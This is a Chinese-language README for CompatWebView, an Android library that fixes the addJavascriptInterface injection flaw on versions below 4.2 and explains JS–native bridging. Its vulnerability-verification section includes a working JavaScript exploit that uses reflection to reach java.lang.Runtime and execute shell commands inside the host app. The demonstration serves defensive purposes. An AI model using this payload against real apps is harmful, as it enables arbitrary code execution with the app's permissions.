CompatWebView

Introduction: CompatWebView is used to fix addJavascriptInterface below Android 4.2
More: Author   ReportBugs   
Tags:

CompatWebView 是为了解决 WebView 的 JavaScriptInterface 注入漏洞

  • 漏洞介绍:CVE-2012-6636 CVE-2013-4710
  • 官方说明:addJavaScriptInterface

    • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2. The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
  • 在 Android 的 api 小于 17(android4.2)调用 addJavaScriptInterface 注入 java 对象会有安全风险,可以通过 js 注入反射调用到 Java 层的方法,造成安全隐患。漏洞验证案例

  • CompatWebView 的解决方案:在大于等于 android4.2 中延用 addJavaScriptInterface,在小于 android4.2 中采用另外的通道与 js 进行交互,同时保持 api 调用的一致性, CompatWebView 做到了对客户端开发透明,复用了原来 addJavaScriptInterface 的 api,对前端开发也是透明的,前端不用写两套交互方式。

How to use

使用案例

  • 1、添加依赖
    implementation 'com.sw.compat.webview:compat-webview:1.0.0'
    
  • 2、用 CompatWebView 替换原来的 WebView,在需要调用 addJavaScriptInterface()的地方替换成方法 compatAddJavascriptInterface()
    webView.compatAddJavascriptInterface(new JInterface(), "JInterface");
    
  • 3、如果需要自定义 WebViewClient 的话,必须继承自 CompatWebViewClient 来替换原来的 WebViewClient,如果不自定义的话可以省掉此步骤 ```java webView.setWebViewClient(new CompatWebViewClient(){

});





漏洞验证案例
-----------
下面验证一下 addJavaScriptInterface 漏洞,详细代码见[漏洞验证案例](https://raw.githubusercontent.com/heimashi/CompatWebView/master/example/src/main/java/com/sw/bridge/InjectWebViewActivity.java)
- 1、先定义一个 JavascriptInterface
```java
public class JInterface {
    @JavascriptInterface
    public void testJsCallJava(String msg, int i) {
        Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show();
    }
}
  • 2、再将 Interface 通过 addJavaScriptInterface 添加到 WebView
    webView.addJavascriptInterface(new JInterface(), "JInterface");
    
  • 3、然后我们看看在 Javascript 中就可以通过查找 window 属性中的 JInterface 对象,然后反射执行一些攻击了,例如下面的例子通过反射 Android 中的 Runtime 类在应用中执行 shell 脚本。
    function testInjectBug(){
      var p = execute(["ls","/"]);
      console.log(convertStreamToString(p.getInputStream()));
    }            
    function execute(cmdArgs) {
      for (var obj in window) {
           if ("getClass" in window[obj]) {
                console.log("find:"+obj);
                return window[obj].getClass().forName("java.lang.Runtime").
                              getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            }
      }
    }
    function convertStreamToString(inputStream) {
       var result = "";
       var i = inputStream.read();
       while(i != -1) {
            var tmp = String.fromCharCode(i);
            result += tmp;
            i = inputStream.read();
       }
       return result;
    }
    

JavaScript 与 Android 通信

在介绍 CompatWebView 原理之前,先总结一下 Javascript 与 Android 的通信方式

JavaScript 调用 Android 通信方式总结

总的来说 JavaScript 与 Android native 通信的方式有三大类使用案例

  • 通过 JavaScriptInterface 注入 java 对象

    • Android 端注入

      webView.addJavascriptInterface(new JInterface(), "JInterface");
      
      private static class JInterface {
        @JavascriptInterface
        public void testJsCallJava(String msg, int i) {
            Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show();
        }
      }
      
    • JS 端调用
      JInterface.testJsCallJava("hello", 666)
      
  • 通过 WebViewClient,实现 shouldOverrideUrlLoading
    • Android 端 WebViewClient,复写 shouldOverrideUrlLoading
      webView.setWebViewClient(new WebViewClient() {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            try {
               url = URLDecoder.decode(url, "UTF-8");
            } catch (UnsupportedEncodingException e) {
               e.printStackTrace();
            }
            if (url.startsWith(SCHEME)) {
               Toast.makeText(CommunicateWebViewActivity.this, url, Toast.LENGTH_SHORT).show();
               return true;
            }
               return super.shouldOverrideUrlLoading(view, url);
        }
      }
      
    • JS 端调用
      document.location = "jtscheme://hello"
      window.location.href = "jtscheme://hello"
      
    • 或者通过 H5 标签
      <a href="jtscheme://hello2?a=1&b=c">ShouldOverrideUrlLoading</a>
      <iframe src="jtscheme://hello2?a=1&b=c"/>
      
  • 通过 WebChromeClient,这种有四种方式 prompt(提示框)、alert(警告框)、confirm(确认框)、console(log 控制台)

    • Android 端实现 WebChromeClient

      webView.setWebChromeClient(new WebChromeClient() {
        @Override
        public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
             Uri uri = Uri.parse(message);
             if (SCHEME.equals(uri.getScheme())) {
                  String authority = uri.getAuthority();
                  Set<String> params = uri.getQueryParameterNames();
                  for (String s : params) {
                      Log.i("COMPAT_WEB", s + ":" + uri.getQueryParameter(s));
                  }
                  Toast.makeText(MyApp.application, "Prompt::" + authority, Toast.LENGTH_SHORT).show();
             }
             return super.onJsPrompt(view, url, message, defaultValue, result);
        }
      
        @Override
        public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
             Toast.makeText(MyApp.application, "Alert::" + message, Toast.LENGTH_SHORT).show();
             return super.onJsAlert(view, url, message, result);
        }
      
        @Override
        public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
             Toast.makeText(MyApp.application, "Confirm::" + message, Toast.LENGTH_SHORT).show();
             return super.onJsConfirm(view, url, message, result);
       }
      
       @Override
       public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
             Toast.makeText(MyApp.application, "Console::" + consoleMessage.message(), Toast.LENGTH_SHORT).show();
             return super.onConsoleMessage(consoleMessage);
       }
      });
      
    • JS 端调用

      console.log("say hello by console");
      
      alert("say hello by alert");
      
      confirm("say hello by confirm");
      
      window.prompt("jtscheme://hello?a=1&b=hi");
      
  • 总结:Javascript 想通知 Android 的 native 层,除了 JavascriptInterface 以外,一般采用 shouldOverrideUrlLoading 和 onJsPrompt 这两种方式,console、alert 和 confirm 这三个方法在 Javascript 中较常用不太适合。

Android 调用 JavaScript 通信方式总结

Android native 与 JavaScript 通信的方式有两种:loadUrl()和 evaluateJavascript()

webView.loadUrl("javascript:" + javascript);
webView.evaluateJavascript(javascript, null);
  • evaluateJavascript(String script, ValueCallback resultCallback)
  • Asynchronously evaluates JavaScript in the context of the currently displayed page.官方说明
  • 建议 loadUrl()在低于 18 的版本中使用,在大于等于 19 版本中,应该使用 evaluateJavascript(),如下面的例子所示官方迁移说明
    public void compatEvaluateJavascript(String javascript) {
      if (Build.VERSION.SDK_INT <= 18) {
          loadUrl("javascript:" + javascript);
      } else {
          evaluateJavascript(javascript, null);
      }
    }
    

CompatWebView 通信流程

CompatWebView 在 api17 及其以上延用了在 addJavaScriptInterface,在小于 api17 中采用另外的通道与 js 进行交互,通过 shouldOverrideUrlLoading 通道来让 js 层通知到 Android,通信流程如下:

  • 1.Android 层添加注入对象时调用 compatAddJavaScriptInterface 来添加 JavaScriptInterface
  • 2.在 compatAddJavaScriptInterface 中会去判断 sdk 的等级,大于等于 17 走原有的通道,小于 17 会先把该对象存起来
  • 3.在网页加载完的时候,即 onPageFinished 回调中去解析上个步骤存起来的对象,把该对象和所有需要注入的方法解析出来,组织成为一段注入的 js 语句,类似如下:
      window.JInterface = {};
      window.JInterface.testJsCallJava = function(param0,param1){
             schemeEncode = encodeURIComponent("JInterface?fun=testJsCallJava&param0="+param0+"&param1="+param1);
             window.location.href ="compatscheme://"+schemeEncode;
      };
    
  • 4.将上面的 js 调用 webView.loadUrl()注入到网页中
  • 5.前端在需要调用的地方跟之前一样去调用
    JInterface.testJsCallJava("jsCallJava success", 20)
    
  • 6.执行上面的 js 后 Android 端在 shouldOverrideUrlLoading 通道就会收到 scheme,从 scheme 中解析出对象和对应的方法,然后再反射调用对应的方法就完成了本次通信

CompatWebView 代码分析

  • 1.CompatWebView 通过 compatAddJavascriptInterface 添加 Interface 对象,sdk 版本大于等于 17 调用原生 WebView 的 addJavascriptInterface,小于 17 的会把对象和对象名存在 HashMap 中
    public void compatAddJavascriptInterface(Object object, String name) {
      if (Build.VERSION.SDK_INT >= 17) {
          addJavascriptInterface(object, name);
      } else {
          injectHashMap.put(name, object);
      }
    }
    
  • 2.在网页加载完毕的时候会回答 CompatWebViewClient 中的 onPageFinished 方法,在方法中会判断如果 sdk 版本低于 17 会将调用 CompatWebView 的 onPageFinished
    @Override
    public void onPageFinished(WebView view, String url) {
      super.onPageFinished(view, url);
      if (Build.VERSION.SDK_INT < 17) {
          if (view instanceof CompatWebView) {
              ((CompatWebView) view).onPageFinished();
          }
      }
    }
    
  • 3.在 onPageFinished 中会遍历第一步中存入的 HashMap 对象,调用 injectJsInterfaceForCompat 来根据对象和对象名注入 js
    void onPageFinished() {
      for (String name : injectHashMap.keySet()) {
          Object object = injectHashMap.get(name);
          injectJsInterfaceForCompat(object, name);
      }
    }
    
  • 4.injectJsInterfaceForCompat 会根据对象实例反射出需要注入的对象以及该对象需要注入的方法,拼接出一段 Js 代码,然后调用 loadUrl 将 Js 注入到 WebView 中以供前端调用

      private void injectJsInterfaceForCompat(Object object, String name) {
          Class clazz = object.getClass();
          Method[] methods = clazz.getMethods();
          if (methods == null) {
              return;
          }
          StringBuilder sb = new StringBuilder("window.").append(name).append(" = {};");
          for (Method method : methods) {
              if (!checkMethodValid(method)) {
                  continue;
              }
              sb.append("window.").append(name).append(".");
              sb.append(method.getName()).append(" = function(");
              Class<?>[] parameterTypes = method.getParameterTypes();
              int paramSize = parameterTypes.length;
              List<String> paramList = new ArrayList<>();
              for (int i = 0; i < paramSize; i++) {
                  String tmp = "param" + i;
                  sb.append(tmp);
                  paramList.add(tmp);
                  if (i < (paramSize - 1)) {
                      sb.append(",");
                  }
              }
              sb.append("){schemeEncode = encodeURIComponent(\"").append(name).append("?fun=").append(method.getName());
              if (paramList.size() == 0) {
                  sb.append("\"");
              } else {
                  for (int i = 0; i < paramList.size(); i++) {
                      sb.append("&").append(paramList.get(i)).append("=\"+").append(paramList.get(i));
                      if (i < (paramSize - 1)) {
                          sb.append("+\"");
                      }
                  }
              }
    
              sb.append("); window.location.href =\"").append(scheme).append("://\"").append("+schemeEncode;};");
          }
          compatEvaluateJavascript(sb.toString());
      }
    

    上面的 Java 代码拼接出来的 Js 串类似如下所示,目的是注入一个 JInterface 对象以及 JInterface 对象的 testJsCallJava 方法,在 testJsCallJava 方法中有一个与 java 中的 testJsCallJava 方法映射的 scheme

      window.JInterface = {};
      window.JInterface.testJsCallJava = function(param0,param1){
             schemeEncode = encodeURIComponent("JInterface?fun=testJsCallJava&param0="+param0+"&param1="+param1);
             window.location.href ="compatscheme://"+schemeEncode;
      };
    
  • 5.完成上面的步骤后,Javascript 端就可以像之前 addJavascriptInterface 一样的通过对象调用 java 方法了
    function testJsCallJava(){
      JInterface.testJsCallJava("jsCallJava success", 20)
    }
    
  • 6.js 端调用了上面的函数后,在 Android 端的 shouldOverrideUrlLoading 通道就会收到 scheme,在 CompatWebViewClient 中会收到回调,然后转发给 CompatWebView
      @Override
      public boolean shouldOverrideUrlLoading(WebView view, String url) {
          if (Build.VERSION.SDK_INT < 17) {
              if (view instanceof CompatWebView) {
                  if (((CompatWebView) view).shouldOverrideUrlLoading(url)) {
                      return true;
                  }
              }
          }
          return super.shouldOverrideUrlLoading(view, url);
      }
    
  • 7.在 CompatWebView 中会根据 url 解析出需要反射调用的对象以及对应的方法,然后反射执行该方法,这样就完成了 sdk 低于 17 的通信流程 ```java boolean shouldOverrideUrlLoading(String url) {
      try {
          String urlDecode = URLDecoder.decode(url, "UTF-8");
          if (urlDecode.startsWith(scheme)) {
              JavaMethod javaMethod = decodeMethodFromUri(urlDecode);
              if (javaMethod == null) {
                  return false;
              }
              return javaMethod.invoke(injectHashMap);
          }
      } catch (UnsupportedEncodingException e) {
          e.printStackTrace();
      }
      return false;
    
    } private JavaMethod decodeMethodFromUri(String url) {
          if (url == null) {
              return null;
          }
          Uri decodeUri = Uri.parse(url);
          String dScheme = decodeUri.getScheme();
          String authority = decodeUri.getAuthority();
          Set<String> params = decodeUri.getQueryParameterNames();
          if (!scheme.equals(dScheme) || authority == null || !params.contains("fun")) {
              return null;
          }
          JavaMethod javaMethod = new JavaMethod();
          javaMethod.object = authority;
          javaMethod.methodName = decodeUri.getQueryParameter("fun");
          for (String name : params) {
              if ("fun".equals(name)) {
                  continue;
              }
              javaMethod.params.put(name, decodeUri.getQueryParameter(name));
          }
          return javaMethod;
      }
    


其他 WebView 漏洞
--------------

- [CVE-2014-1939](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939)
- [CVE-2014-7224](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224)
- [CNTA-2018-0005](http://www.cnvd.org.cn/webinfo/show/4365) setAllowFileAccessFromFileURLs setAllowUniversalAccessFromFileURLs
- 解决方案是在 WebView 中移除注入的对象,如下所示(CompatWebView 中已移除),同时,setAllowFileAccessFromFileURLs 和 setAllowUniversalAccessFromFileURLs 要设置为 false 或者加白名单。
```java
removeJavascriptInterface("searchBoxJavaBridge_");
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
Support Me
Apps
About Me
Google+: Trinea trinea
GitHub: Trinea